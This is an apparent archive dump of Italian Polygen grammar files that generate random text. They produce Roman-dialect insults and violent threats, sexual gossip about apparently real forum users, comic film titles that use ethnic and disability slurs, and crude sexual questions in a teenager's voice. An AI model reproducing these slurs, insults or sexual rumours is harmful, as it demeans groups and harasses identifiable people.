soride manco li sofficini | ++manco li sofficini te vonno soride) | +si lanci 'n boomerang P3 quello ce pensa du' vorte prima de tornatte 'ndietro | +++che quanno tu' madre stava pe' partoritte l'ostetrica j'ha detto DP no signo' V a caca' ce va dopo | come anticoncezzionale nun te serve er preservativo DP te [ ab^ ] basta de tene' 'a luce accesa | -si te mena "Tyson" poi solo [ che ] mijora' | +su'a carta d'identita' c'e' scritto aprire con cautela | +che dovresti abbracciatte 'r cesso e cantaje nun so' degno de te | ---li pidocchi tua se butteno de sotto p'ammazzasse | ar firmino der battesimo tu' padre c'ha messo la colonna sonora de (++"X-Files" | "Alien") | -quanno hai chiamato li pompieri pe' segnala' 'na catastrofe V hanno portato via a te | quanno te fai 'na fototessera la macchinetta te rida' li sordi | +l'ostetrica V quanno sei nato V 'nvece de da' 'no schiaffo a te V l'ha dato a tu' madre | -tu' madre ( - (ha denunciato 'a | +voleva spara' a la) cicogna | V pe la vergogna te portava ('ngiro | a spasso) ( (M:cor passeggino | F:co'a carozzella) telecomandat^ (M:o | F:a) ).(++M | F)) ) ESCL ; DNA ::= ma [ dimme P3 ] ar posto der "DNA" che c'hai Q P3'na catenella der cesso arotolata Q3 [ ( me pari 'n bucio de culo co' 'a dentiera | si tte vede 'a merda s'aripija | si (acciacchi | tte caschi su | tte sdrai su) 'na merda fai scopa | (nu | ') ^n te sputo V che t'amprofumo ) ESCL ] ; CHAILACAPOCCIA ::= c'hai (la | 'na) (c^ [ ap^ ] occia | --testa) tarmente grossa che ( si tte vede >( (++++mazzinga | gordrake) [ te ] ce 'nfila dentro l'astronave | 'n (pilota | autista) de mongorfiere ( t'^ (anfila | accenne) subbito 'n bruciatore ner culo | t'appenne subbito 'n cesto a le palle ) ) | --er cappellaio tuo mo' s'e' messo a fa' [ pure ] li tendoni pe'er circo [ "Togni" ] | ---da 'na recchia all'artra fanno dodic'ore [ de differenza ] ) ESCL ; CHENASCA ::= (anvedi | ammazzate | me cojoni) che nasca che c'hai ESCL (_ | --che dio te l'accresca V cosi' c'annamo a pesca ESCL) ( c'hai er naso (+tarmente | cosi') lungo,grosso che (_ | --scommetto) SUCCEDEARNASOLUNGO,SUCCEDEARNASOGROSSO ESCL | ma [ V sur serio V ] quello e' [ popo ] er naso tuo o ( +te stai a magna' 'na frappa | te stai a esercita' ar sarto coll'asta | --te 'o sei 'ncipriato cor viagra 'n porvere ) Q3 ) ; SUCCEDEARNASOLUNGO ::= +sur tram ({ (_ | --te) ce se tiene} {la gente}) | si a tavola dici de si,no V sparecchi, (affetti er pane) | si (nascevi | eri 'na) pecora [ te ] morivi de fame | -si tte vede 'a balena te se magna n'artra vorta | -quanno giochi a carc^(io|etto) stai sempre 'n fuoriggioco | che 'e fototessere ta escono cor manico ; SUCCEDEARNASOGROSSO ::= +++nun te se chiude la patente | 'e caccole se pensano da sta'n gita a "Frasassi" | si tte vede batman ce nasconne subbito 'a batmobbile | si tte vede spielberg nuota' a dorso t'assume subbito pe gira' er seguito de'o squalo ; MAVAMORIAMMAZZATO ::= ma ( va a mori' ammazzato P3 | perche' 'n te >(dai 'na cortellata | la vai a pija' 'n ter culo (++_ | de retromarcia) ) Q3 ) ; CHETEFACCIO ::= ( ++++ (vie'qqua' che | si tte pijo) >TECORCO1 >(>TECORCO2 | ----te (sfonno | spano) er culo [ co' 'na supposta de carne ] ESCL) | si tte metto le mano addosso (V pe' riconoscete te devono pija' le impronte digitali | nun te riconosce piu' manco la scientifica) ESCL [ >TECORCO1 | >TECORCO2 ] ) ; SEIPOPO ::= sei [ popo ] ( 'na testa de cazzo | 'no stronzo (_ | --cacato pe (forza | sfreggio) ) ) ; MHAIPOPO ::= [ mobbasta P3 ] (+++_ | +gia' | mo) m'hai [ popo ] ( cacato er cazzo | >( (_ | --stra^) rotto | spaccato | sfragnato | sgarato) >(er cazzo | +++li cojoni) | scucito la fodera de >(^r cazzo | li cojoni) ) ; TECORCO1 ::= ( te corco | --te (spacco | sfragno) er grugno | +te sdrumo | ---t'arovino | te mischio come 'n mazzo de carte | ---t'addobbo come 'n arbero de natale | t'arivorto come ('n carzino | 'm pedalino) | te smonto come ('na radiolina | 'n carburatore) | te faccio casca' tutti li (nei | ++tatuaggi) | te manno (all'arberi pizzuti | a guarda' li crisantemi da sotto) ) ESCL ; TECORCO2 ::= ( te sfonno la testa e me te bevo come 'n ovetto fresco | te (sporvero | ++sparecchio) la faccia | anzi no P3 me te metto 'n tasca e te meno quanno cio' tempo | te metto 'n dito 'n bocca V uno ar culo e te sciaqquo come 'na damiggiana | te apro come >( ++'na bolletta der gasse | ++++'na sdraio | +'n divano letto | 'na cozza | 'na tellina ) | --te faccio du' occhi neri [ cosi' P3 ] che si tte metti a mastica' le foje de bambu' er "WWF" te protegge | --te ciancico e poi te sputo [ che me fai schifo ] | te [ 'n^ ] cricco tarmente la spina dorsale che poi pe sta' dritto te devi (fa' 'n clistere de cemento | +^'nficca' >('n manico de scopa | 'na canna | 'n tubbo de fero) ar culo) | >TEDONAPIZZA | te pijo pe' (li buchi | le froce) der naso e ( ++me te porto 'n giro come 'na giacchetta a primavera | t'aribbarto come >('n porpo | ++'na frittata | +'na cotoletta) ) | te pijo pe 'na rekkia e te sventolo come 'na bandierina | te faccio 'n culo come >('n cesto | +'na capanna | ++'n diriggibbile) | ----te stacco le recchie | te pijo pe le recchie e te (scarto come 'na (caramella | golia) | arzo come la coppa (uefa|de' campioni)) | te do' ('na (pizza | --cinquina) 'n faccia | 'n cazzotto) [ tarmente forte ] che er dentista tuo poi me manna li cestini a natale | te stacco le palle e ce gioco a stecca | te gonfio >(come 'na zampogna | --ESCL t'abbotto er muso ar punto tale che si vai allo stadio te pijano a carci 'n faccia) | te (spezzo | stacco) le gambe e poi te tengo 'n piedi a [ forza de ] carci ('n | ner) culo | te'nfilo 'na mano ar culo e (me esercito a fa' er ventriloquo | ++te faccio fa' er teatrino de li pupazzetti) ) ESCL ; TEDONAPIZZA ::= (+te do' | --t'appoggio | -te parcheggio) ('na (pizza | --cinquina) [ 'n faccia ] | +'n carcio (++ar | +in | ^'n) culo | 'n cazzotto | 'no sganassone) [ tarmente forte ] che ( ++quanno ricaschi (li vestiti tua so'passati de moda | t'arestano pe' vagabondaggio) | er telefonino tuo da "family" diventa "orfany" | -se per aria nun te port^(i 'n panino|+eno da magna') te mori de fame | pe veni' a ripijatte devono lancia' 'no sciattel | t'arotolo come 'na girella | --'a carta d'identita' che c'hai mo' nun te serve piu' a 'ncazzo | -te piego come n'crumiro | -pe' dattene n'artra te devo veni a cerca' | domatina te sveja "San Pietro" ) ; ERCOSO ::= [NANDO] er COSO co' la (fidanzata|su' rigazza|pischella) ESCL ( +++me saluta (e|poi) | me sona [cor clacson] P3 io ( pe' scherza' | scherzosamente | V visto ch'e' n'amico V ) je strillo AV SONAMMEZZO CV NL2 lui se (mette a ride|fa' na' risata) V poi ) me (fa'|++dice) DP AV (+++_ | +aho') [s^]ciao ([a'^](fra^[te^]'|[b^]bello)|trucido) V [come (te butta | --t'arza) Q] [SAICORESONO] senti P3 CHAINAPAJA CV NL2 allora io je (dico|faccio) AV e ('o vedo [bene] (che|quanno)|cce credo [bene] che) sei sficato V guarda (la'|qua) P3 ( STACIOSPA | STABALENA ) CV NL2 ah ah so' rimasti ('mpietriti|de sasso|demmerda) P3 purtroppo [e' cosi' V c'^]e' ggente che [popo] nun capisce ({l'umorismo} der {l'esiralanza}) [de noartri] P3 NL2 che volete [ da ] fa' P3 [ [ am^ ] modestamente ] 'so [ popo ] ( er _,mejo comico (nummero uno),_ de \roma ) ; SONAMMEZZO ::= ({[aoh ESCL]} {[ma che cazzo te soni Q3]}) sona ( 'n mezzo a le cosce de tu' moje ESCL >( +++che ce sta piu' traffico | ++V sentirai che eco che [te] fa | vedrai quant'uccelli 'nfrattati te sbucheno fori) | all'anima de li mortacci tua ) ESCL [a ( +++stronzo | ^'mbecille | rottinculo | --sottosviluppato | (i | ^') ^mpotente ) ESCL] ; SAICORESONO ::= [che [gnente gnente]] sai che or^(e sono|a e') Q CV NL2 (e io [je risponno]) DP AV so' le (cinque|sette) e ('n quarto),venti P3 apri er culo (che te lo squarto),(e strigni i denti) ESCL ah ah ah CV e lui DP AV eh eh (sempre a (scherza'|di' le fregnacce) stai | beato te che scherzi sempre) P3; CHAINAPAJA ::= nun e' che (---c'hai|me,_ poi (da'|allunga'|appoggia'),(damme|allungamme|appoggiamme)) ( na pietra focaia [V dai P3 vienime cor foco] che me s'e' rotto l'accendi^(no|sticazzi) | >('na paja | mpar de (scudi|piotte)) ca >(so' arovinato| sto a >(smarti'|strippa'|sbianca')) ) P3 [sai com'e' P3] 'sto periodo so' (+tarmente | cosi') sfi^(c|g)^ato che si ( ++mme cascasse er cazzo per tera V m'arimbarzerebbe ('n | ++ner | ++ar) culo | ce fossero l'olimpiadi de li sfigati t'arriverebbi secondo | m'attraversa n'gatto nero e' lui che se (tocca|gratta)[le palle] | la merda fosse oro V io sarebbi (stitico|senza [bucio de] culo) | vennessi li cappelli V 'a gente nascerebbe senza (testa|capoccia) ) ; STACIOSPA ::= (quella | questa | 'sta >(++ciospa|+cozza|rana|+rospa|bestia) | 'sto cesso) [che c'hai seduta (af^|de) fianco] P3 e' la tu' rigazza o ( t^[e c^]'hanno (cacato|vomitato) sur sedile | stai a fa' volontariato | 'n esperimento de genetica | l'antifurto da'a machina ) Q [ammazza V] [me pare er mostro de (lochness| la (laguna|radura) nera) [V e che e']ESCL] [ar posto delle zinne c'ha ddu' pedalini P3] (_ | + (nun | 'an^) se po' guarda' ESCL) (e' (+tarmente | cosi') brutta | fa' tarmente schifo) che ( +++che quanno la madre stava pe' partorilla l'ostetrica j'ha detto DP no signo' V a caca' ce va dopo | come anticoncezzionale [nun je serve 'a (++pillola|spirale)] je [ab^] basta de tene' 'a luce accesa | che 'na vota ha scritto a'n club de cuori solitari e quelli j'hanno risposto DP aho V nun semo cosi' solitari | +su'a carta d'identita' c'ha scritto aprire con cautela | ar firmino der battesimo je c'hanno messo la colonna sonora de (++"X-Files" | "Alien") | -quanno ha chiamato li pompieri pe' segnala' 'na catastrofe V hanno portato via a lei | quanno se fa 'na fototessera la macchinetta je rida' li sordi | +l'ostetrica V quanno e' nata V 'nvece de da' 'no schiaffo a lei V l'ha dato a su' madre | -su' madre (ha denunciato 'a | +voleva spara' a la) cicogna | nun me la scoperebbi manco cor cazzo de'n artro ) ESCL [ anvedi poi che naso che c'ha ESCL scommetto che ( +sur tram ({ce se tiene} {la gente}) | se a tavola dice de si,no V sparecchia, (affetta er pane) | si (nasceva | era 'na) pecora [se] moriva de fame ) ESCL | pe dalle du ba^[s^]cetti se fa prima a passa' de dietro [ ma [ V sur serio V ] quello e' [ popo ] er naso suo o ( ++se sta a magna' 'na frappa | --s'e' 'ncipriata cor viagra 'n porvere ) Q3 ] ] ; STABALENA ::= 'sta (++balena|sarciccia|panzona|mongorfiera) [vivente|ambulante] [che c'hai seduta (af^|de) fianco] e' la tu' rigazza o ( ++stai a (prova'|testa') 'e sospensioni (_|nove|da'a machina) | stai a organizza' n'attentato | --e' la custodia ) Q [anvedi V] [c'ha 'n culo (+(che e'|come) 'na portaerei|che fa provincia) ESCL] (e' (+tarmente | cosi') ( grassa | chiappona | obbesa) ) che ( se patric de gajardon ar posto der paracadute se metteva 'e mutanne sue V mo' era ancora vivo | su' madre ( ar posto de compraje er girello [V pe' risparmia' V ] ha fatto mette {le rote} {direttamente} ar colosseo | quando e' nata V 'nvece de iscrivela all'anagrafe e' dovuta anna' ar catasto ) | pe' pija le misure la sarta je deve fa er giro der culo cor motorino | si se butta in acqua arriveno li surfisti da tutt'italia | se fa prima a sartalla che a giraje attorno | si se veste de verde deve sta attenta a non apri' la bocca pe' strada V che la gente sinno' je ce butta ((li sacchetti de [la]|la) monnezza | le bottiglie vote) ) ESCL ; MACCHETTERIDI ::= ( ({ [ ma ] che tte ridi Q [ABBELLICAPELLI]} {aho' Q3}) [ DENTI ] [ t'averto P3 stai a caca' fori (da'a tazzetta | dar vasetto) P3 ] | -- ( t'atteggi V t'atteggi P3 ma sur cazzo mio nun ce scureggi P3 ) | ( [ ridi ridi P3 ] ( ha preso piu' cazzi TUSORELLA che 'n pappagallo d'ospedale ESCL | --ma dimme V TUSORELLA fa ancora lo sconto (federta' | comitiva) Q | ++ma ({tu' madre} {'o sa}) che stanotte dormi (+all'ospedale | ar camposanto) Q | +++ridi >(++'n faccia a | su) 'st^ ( >(o | a ceppa de) cazzo) ) ) ESCL [ sei simpatico come ( >('na mano | 'n dito) ar culo | 'na secchiata de merda quanno te la tirano 'n faccia mentre [ che ] stai a sbadija') ] ESCL | >MACHECHAI ) [ a STRONZO ESCL ] MAVEDIDANNATTENE ; ABBELLICAPELLI ::= ah bellicapelli ESCL ( ammazza V che t'asciughi 'a testa co' 'a carta de 'a pizza Q | si tte fai 'na riga 'n mezzo pari 'n [popo] gettone | ++++[ma che t'hanno trapiantato 'na chiappa 'n testa [o sei (pelato|carvo) de tuo] Q ['a matina che te pettini co' (lo sguardo|'a pelle de daino) Q]] ) ; MAVEDIDANNATTENE ::= [ ma ] vedi d'annattene va ESCL [ stamme a 'n parmo dar culo ESCL ] | [ [ li ] mortacci ESCL ] mantanavai [ ancora ] Q3 ; TUSORELLA ::= tu' (+sorella | moje); DENTI ::= MATTESEIVISTO ( c'avessi armeno li denti boni [ P3 CRUCIVERBA ] | CRUCIVERBA V c'hai 'n dente ogni mezz'ora ) ESCL [ che usi come filo 'nterdentale V (+'na sciarpa | 'n pitone | +'na corda de canapa) Q ] ; CRUCIVERBA ::= quanno ridi me pari (+++'n cruciverba | ++'na pianola | 'n strastrello) ; MACHECHAI ::= ma che c'hai ( le pigne 'n testa | ++'e caccole ar [ posto der ] cervello | +er >(cervello | +teschio) disabbitato | dentro a la capoccia V >( ++'a cassetta de l'elemosina | li neuroni (lazziali | da'a lazzio) | 'n ciocco de tufo ) ) Q3 ; STRONZO ::= ( +++stronzo | +disgrazzziato | -burino | -----buffone | ^'mbescille | ^'nfame ({ [ ESCL a'nfamone ] }{ [ ESCL sei tarmente 'nfame che si te 'ncontra \giuda cambia marciapiede ] }) | ++fi^ [ j^ ] o da 'na mignotta | rottinculo [ ESCL a frocio ] | --sottosviluppato | (i | ^') ^mpotente [ ESCL e' vero che ( si te fai la doccia cor topexan ({te (sparisce | scompare) } {er cazzo}) | nun te s'arza piu' manco (cor >(cric | montacarichi) | co 'a gru) ) Q ] ) ; MATTESEIVISTO ::= (_ | ---ma) te sei (visto | guardato (_ | ++mai) a'o specchio) Q3 ; NACRACCA ::= (popo in pieno V aho' | ve dico) P3'na ( >(++cracca | botta | +grezza) da >(++paura | lassacce le penne) ) ESCL ; POZZINAMMAZZA ::= (li mortacci [ sua ] | +pozzinammazza') P3 ; NANDO ::= \ ( ++nando | +romol^ [ ett^ ] o | ++gigg^ (i | etto) | arf^ (i | -ons) ^o | -peppe | -pippo ) ; COSO ::= \ ( +cipolla | --cucuzzaro | +++verterba | marmitta | +++modifica | +++monnezza (_ | --^ro) | +mollica | siringa | -p^ (i | +u) ^zzetta | +patata | ++pomata | -ca^ (nn | pp) ^ella | -faina | coguaro ) ; APALLA ::= +a palla [ de foco ] | --a cannonella | --a piottella | + (_ | --V come minimo) a (+++dducento | centottanta) (_ | ----V ma de ppiu' ESCL) | ----da matto | --V popo a [ vole' ] sfonna' 'a bariera der sono V ; FINE ::= NL2 vabbe' [ mo v^ ] ve saluto che me ne devo anna' P3 NL2 (se vedemo | +s'aribbeccamo | +s'arisdraiamo | se semo visti | ciao [ a tutti ] ) P3 ; AV := "\""^\ ; CV := ^"\"" ; DP := ^":" ; ESCL := ^ ("!" | -"!!!") \ ; NL := ^"\n"^\ ; NL2 := ^"\n\n"^\ ; P ::= ^"."\ ; P3 := ^"..." ; Q ::= ^"?"\ ; Q3 := ^"???"\ ; SOSP ::= (^"...") + ; V := ^"," ;polygen-1.0.6.ds2/grm/ita/monte.grm0000644000175000017500000000271410340417034016375 0ustar enricoenricoI ::= "title: I casini che succedono in MontePandoro\n" ^ "author: Vision-X.it\n" ^ "language: italian\n" ^ "status: final\n" ^ "topic: misc\n" ^ "audience: dedicato a tutti quelli di monte e ricordiamo che" Fuck ^"\n" ^ "created: 10/12/2002" ; S ::= \Atto ; Y ::= pez | faq | generale | "vision-x" | cellofan | aenigma | kubrik | orso | dayz | irreale | flydown | hellgate | beppe | mestesso | artist ; X ::= leilaz | gawanana | cherubina | futura | flygirl | vanilla | cerbiatta | vale78 | xz | manthissa | ery ; Z ::= X | Y ; Fuck ::= X Fck Y | X Fck Y | Z Fck Z ; Fuck2 ::= X Fck2 Y | X Fck2 Y | Z Fck2 Z ; Fuck3 ::= X Fck3 Y | X Fck3 Y | Z Fck3 Z ; Fck ::= si fa | si scopa | si tromba ; Fck2 ::= si faceva | si scopava | si trombava ; Fck3 ::= si facesse | si scopasse | si trombasse ; Talk ::= X Tlk Y | Y Tlk X | Z Tlk Z ; Tlk ::= ha (detto a | smsato | scritto in mail a) ; Nk ::= non (sapeva | immaginava | credeva possibile) ; Blv ::= credeva | supponeva | aveva la certezza ; Sy ::= (dice | sostiene | afferma) che ; Agg1 ::= troia | puttana | vacca ; Agg2 ::= stronzo | bastardo | coglione ; Atto ::= Talk che Fuck^".\n"^\ quello che Z Nk e' che Fuck3 mentre Blv che Fuck3^"."\ percio' Z Sy X e' Agg1 perche' Fck Z invece di Z^"."\ all'improvviso salta fuori che Fuck^"," quando tutti credevano che Fuck3^".\n"^\ nonostante tutto cio' Z non Fck nessuno^"."\ ; polygen-1.0.6.ds2/grm/ita/hollywood.grm0000644000175000017500000002305210340417034017271 0ustar enricoenrico I ::= "title: Titoli di americanate hollywoodiane\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "comment: il motivo per cui il PolyGen e' stato inventato\n" ^ "disclaim: non si serba rancore per alcuna minoranza (" ^ ( negri | cinesi | gay | ebrei | arabi | pellerossa | eschimesi | zingari | serbi | [serbo^]croati | bianchi | bambini | anziani | sordi | muti | ciechi | mongoloidi | portatori di handicap | montenegrini | magrebini | paralitici | barboni | tunisini | algerini | marocchini | curdi | turchi | rom | palestinesi ) ^ " esclusi)\n" ^ "created: 18/07/2002" ; S ::= \ ( + Film [Sequel ["-" Film]] | - (Movie [Sequel] "-" Film | Film [Sequel ["-" Movie]]) ) ; Film ::= Sostantivo1 Aggettivo1 (_ |- Luogo) | [Anno^":"] Sostantivo2 (Verbo1 | Verbo2) Avverbio [Luogo] | (Sostantivo1 di Sostantivo1 | Sostantivo3 di Verbo3) | Aggettivo2.P.NOart si Verbo2 [^"," Aggettivo2.P.NOart si Verbo2] | nati per Verbo3 | Num Sostantivo4 per Num Sostantivo4 | se Verbo4 ti Verbo5 | (+ Luogo | Tempo) con Chi | (vedi | ascolta | controlla |+ senti |++ indovina |- pensa | guarda) chi Verbo6 [Avverbio | Luogo] | non Verbo7 Sostantivo5 | un Personaggio a Citta |-- Consonante ^ "-" ^ Consonante ^ (a | e | i | o | u) ^ x | Cifra [^Cifra] (ore | minuti | secondi | giorni) per Verbo3a | Parente^"," mi sono Azione [Luogo] |- (Aggettivo2^"," Aggettivo2 e Aggettivo2).art.S | non Verbo8^"," non ti Verbo5 | (Professione | Sostantivo6.(NOart|art)) a Num ParteCorpo | ( oltre Sostantivo6.art | >( al >(vertice | limite | culmine | massimo | minimo) | >(nel segno | all'insegna) ) del Sostantivo6.del ) | (professione | missione) [^":"] Sostantivo6.NOart ; Parente ::= mamma | papa' | (nonn | zi | cugin)^(a | o | i) ; Azione ::= >(smarrito | perso | perduto | pentito | svegliato | impiccato | sbagliato) | >(pisciato | cagato | sboccato | vomitato | urinato) >(sotto | addosso) | >(trovato | trombato | cercato | mangiato | sfondrato) Chi | >(sbucciato | escoriato | squartato | tranciato | tagliato | cambiato) ( la testa | il culo | il pene | i capelli | i denti | i piedi | le dita | i calzini | le mutande | la maglia | la felpa | una banana | un occhio ) ; Professione ::= poliziotto |- carabiniere | giustiziere | sbirro | piedipiatti | web designer | "Helder" ; ParteCorpo ::= zampe | braccia | mani | code | teste | piedi | gambe | chiappe | spalle | ganasce | reni ; Consonante ::= "B" | "C" | "D" | "F" | "G" | "H" | "L" | "M" | "N" | "P" | "Q" | "R" | "S" | "T" | "J" | "K" | "V" | "W" | "X" | "Y" | "Z" ; Movie ::= [the] (+ RadixVoc^((er | ing) [^ly] | ers) | RadixCons^(less | full | ness) [^y] ) ; Cifra ::= 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Anno ::= (2 | 3) ^ 00 ^ (0 | >Cifra) ; Num ::= due | tre | quattro | cinque | sei | sette | otto | nove ; Sequel ::= "II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX" ; Radix1 ::= contend | held | hold | crawl | crypt | rain ; Radix2 ::= nam | lam | blam | rul | hid | settl ; RadixVoc ::= Radix1 | Radix2 ; RadixCons ::= Radix1 | Radix2^e ; Nome ::= "Alien" | "Terminator" | "Rambo" | "Rocky" | "Dracula" [il vampiro] | "Frankenstein" | "Predator" | "Nosferatu" | "Lessie" ; Sostantivo1 ::= >Sostantivo3 | complotto | verdetto | impatto | arma | innocenza | distruzione | verita' | trappola | vanita' | scontro | colpa | reato | virus | reazione | fuga | lacerazione | coalizione | relazione | sabotaggio | attacco | difesa | affezione | sensazione | [in^]certezza | assassinio | identita' | riscatto | intenzione | tensione | entita' | pazzia | scandalo ; Sostantivo2 ::= >Nome | l'arma | l'impero | la galassia | l'universo | "la Terra" | "Marte" | la morte [nera] ; Sostantivo3 ::= paura | ipotesi | licenza | desiderio | follia | intenzione | tentativo | sensazione | pensiero ; Sostantivo4 ::= matrimoni | funerali | bassotti | danesi | dalmata | marmotte | cerimonie | comunioni | divorzi | cinesi | negri | "Helder" | pastori [maremmani | tedeschi] | fi[^a]^schi | alani | persiani | siamesi | manicomi | ospedali | ospizi ; Sostantivo5 ::= >(lavello | bidet | cancello | televisore | garage) | ^la >(porta | giacca | macchina | roulotte | maniglia | maglia) ; Sostantivo6 ::= (del: ^la | art: la | NOart: _) >( paura | sopportazione | follia | pazzia | decenza | frenesia | tensione | fobia | prudenza | morte ) | (del: ^lo | art: lo | NOart: _) >(scontro | spasmo | sleale | scandalo | splendore) | (del: ^l'^ | art: l'^ | NOart: _) >( inverosimile | incredibile | indecenza | orrore | incontinenza | intercessione | impossibile | internet [cafe'] ) | (del: _ | art: il | NOart: _) >( verosimile | ripugnante | rivoltante | terro^(r | n)^e | terribile | mirino | possibile | pericolo | web | riscatto | rimorso | rimpianto | giallo | losco ) ; Aggettivo1 ::= letale | fatale | finale | globale | totale | apparente | imminente | a catena | omicida | avvincente | avvenente | [in^]formale | [s^]leale | criminale | latente ; Aggettivo2 ::= (art: il | NOart: _) >( >( bass | bell | buon | furb | brutt | pelos | cattiv | negr | giall | grass | magr | calv | bull | fiapp | gobb | nan | sord | mut | rimbambit ) ^ (S: o | P: i) | >(selvaggi | vecchi | tirchi | guerci) (S: ^o | P: _) | >(secc | ciec | larg | ricc) ^ (S: o | P: hi) | cines ^ (S: e | P: i) ) | (art: lo | NOart: _) >( >(scem | zopp | stempiat | stordit) ^ (S: o | P: i) | (S: storpio | P: storpi) ) | "Helder" ; Verbo1 ::= colpisce | >(uccide | massacra | stermina) [tutti] | distrugge [[tutto e] tutti] | impazzisce ; Verbo2 ::= nasce | muore | cresce | crepa | invecchia | campa ; Verbo3 ::= >Verbo3a | nascere | crescere | distruggere | inghiottire | alzarsi | litigare | bere | guidare | impazzire | rompere | insultare | gridare ; Verbo3a ::= uccidere | morire | colpire | mangiare | dormire | colpire | schiantarsi | perire | fuggire | sparire | crepare | schiattare ; Verbo4 ::= mangi | bevi | scappi | poltrisci | rutti | salti | caschi | cadi | parli | taci | canti | rompi | bussi | paghi | campi | crepi ; Verbo5 ::= sposo | prendo | pesco | legno | piglio | pesto | parlo | salto | spacco | mangio | sparo | pago | mollo | uccido | becco | vedo | sento | stango | leggo | scrivo | lego ; Verbo6 ::= + viene | mangia | beve | rutta | parla | canta | casca | rompe | bussa | ciarla ; Verbo7 ::= >(gridate | pescate | giurate | sparate) dal | >(aprite | chiudete | mangiate | lavate | girate) quel | >(ridete | [s^]parlate[^(gli | le)] | cantate) del ; Verbo8 ::= guardarmi | pestarmi | pescarmi | ascoltarmi | telefornarmi | chiamarmi | cercarmi | legnarmi | ammalarmi | parlarmi | saltarmi | cucinarmi | mangiarmi | spararmi | leggermi | pagarmi | beccarmi | addormentarmi | svegliarmi | trovarmi | pensarmi | applaudirmi | giocarmi | calpestarmi | sgridarmi | deridermi | colpirmi | legarmi | scrivermi ; Avverbio ::= ancora | adesso | ora | oggi | domani ; Citta ::= "Venezia" | "Londra" | "New York" | "Pechino" | "Roma" | "Parigi" | "Mestre" | "Carbonera" | "Pezzan" ; Luogo ::= a >( Citta | letto | casa | scuola | merenda | pranzo | pasto | cena | colazione | spasso | pasto | ^ll'oratorio | ^l >( fresco | [super^]mercato | ristorante | bar | mare | sole | branch | grest ) ) | in >( camera | parrocchia | cucina | vacanza | chiesa | forno | frigo | salotto | pizzeria | fuga | trappola | ritardo | montagna | citta' | guerra | alto mare | spiaggia | macchina | tenda | campeggio | barca | nave | aereo | treno ) | negli abissi | tra i ghiacci | nei >(cieli | boschi) | nel >(blu | deserto) | nell'oscurita' | nella jungla | da "Helder" ; Tempo ::= weekend | inverno | estate | primavera | autunno | serata | notte | giornata | mattinata | pomeriggio ; Chi ::= + il morto | papa' | mamma |- il [bis^]nonno |- [la bis^]nonna | - i nonni |+ il nemico | "Helder" ; Personaggio ::= americano | cinese | negro | italiano | veneziano | francese | inglese | giapponese | turco | cretino | parigino ; polygen-1.0.6.ds2/grm/ita/teen2.grm0000644000175000017500000002301610340417034016266 0ustar enricoenrico I ::= "title: Domande da teen\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 07/06/2003" ; S ::= \Saluto^"," [PresentazioniIniziali^","] [Scuse^"," Cong] ([PrimaPersona (S: ho | P: abbiamo) provato a Azione (>Cong | e)] ( Chiesta ^":" (S: Domanda | P: Domanda | Domanda.imp.(S|P) ).avv. QM | Dicono (S: Dubbio | P: Dubbio | Dubbio.imp.(S|P) ) PM (e' vero | (Cosa | Come) (S: faccio | P: facciamo)) QM ) ).(S|P) ; Come ::= (c | k)^ome ; Cosa ::= (c | k)^osa ; Non ::= n^(_ |- o)^n ; Cong ::= ma [pero'] | pero' | eppure ; Problema ::= dubbio | prob[^lema] ; Troppo ::= (X ::= (--- stra^ | _) troppo; X | [X] stra^) ; Cazzo ::= (c | k)^a^(xx | zz)^o ; Sesso ::= se^(xx | ss)^o ; Scuola ::= s^(q | c | k)^uola ; Catechismo ::= (c | k)^ate (+ ^(k | ch)^ismo | _) ; Fighe ::= fi^(gh | k)^e ; Cozze ::= (c | k)^o^(xx | zz)^e ; Questo ::= (k | q)^uesto ; QM ::= ^"?"\ ; EM ::= ^"!"\ ; PM ::= ^"."\ ; Scuse ::= scusate (l'ignoranza | l'ingenuita') | ( sembrero' [anche | pure] una | faro' [anche | pure] la figura della ) [raga[^zz^(ina | etta)] | girl | bambina] (stupid^(a | ina | otta) | ingenu^(otta | a)) ; PrimaPersona ::= S: [io] | P: io [^"," Conosciente.F.poss.art.] e Conosciente.F.poss.art. ; Chiesta ::= PrimaPersona ( (S: mi sono | P: ci siamo) sempre (ch | k)^iest ^ (S: a | P: e) | (S: ho | P: abbiamo) >> una (curiosita' | domanda) | un Problema << | un [bel] giorno (S: mi sono | P: ci siamo) chiest ^ (S: a | P: e) | [a Questo punto | alla fine] (S: mi (sono chiesta | chiedo) | P: ci (siamo chieste | chiediamo)) ) ; Dicono ::= (S: [PrimaPersona] ho | P: PrimaPersona abbiamo) sentito dire [da Conosciente.(M|F).poss.art.] che | [[(i | le) raga] a Attivita] ( [mi] dicono [sempre] | Conosciente.(M|F).poss.art. (S: _ | P: e Conosciente.(M|F).art.poss.) mi (S: ha | P: hanno) [Troppo] (detto | giurato) ) che ; Domanda ::= (avv: (quando | perche' | dove | Come) | NOavv: _) mi (vengono | verranno | sono venute) le mestrua[^zioni] [lunedi' | martedi' | mercoledi' | giovedi' | venerdi' | sabato [scorso | pro^(ssimo |+ x) ]] | (avv: (quando | perche' | Come) | NOavv: _) (sono rimasta | rimarro') >(incinta | vergi[^ne]) | (avv: (Come | dove | perche' | quando) | NOavv: _) (ho perso | perdero') la mia verginita' (orale | vaginale |+ anale) | (avv: (quanto | perche') | NOavv: _) bisogna Azione.imp. per (- Non | _) Azione.imp. | Come si fa a (-- Non | _) (rimanere | diventare) Agg [senza Azione] | e' vero che Domanda.NOavv.imp. [Come (dicono | ho [sempre] sentito dire) [a Attivita | Conosciente.da.poss.(M|F).]] | [a Attivita] ho provato a (cercare | trovare | toccare | palpare | guardare) il Organo Conosciente.(di|a).poss.(M|F). ma (Domanda | Non (funziona | l'ho trovato | ho capito dov^('^ | e kazzo) era)) ; Dubbio ::= >( per [Non] Azione [Non] bisogna Azione | a [Non] Azione [vuol dire che] [Non] si (diventa | rimane) Agg | [Non] Azione e' Come Azione ) | Presentazione.1.F | il Organo e' AggOrgano [[^"," AggOrgano] e AggOrgano] ; Organo ::= vis^(o | ino) |++ seno | pene |- Cazzo |+ culo | naso | prepuzio | glande | clito[^ride] | cuoio capelluto | Sesso ; AggOrgano ::= [Troppo] ( enorme | abnorme | impercettibile | minuscolo | viscido | in^[di^]visibile | orribile | esagerato | grande | piccolo | lugubre | altezzoso | abbacchiato | 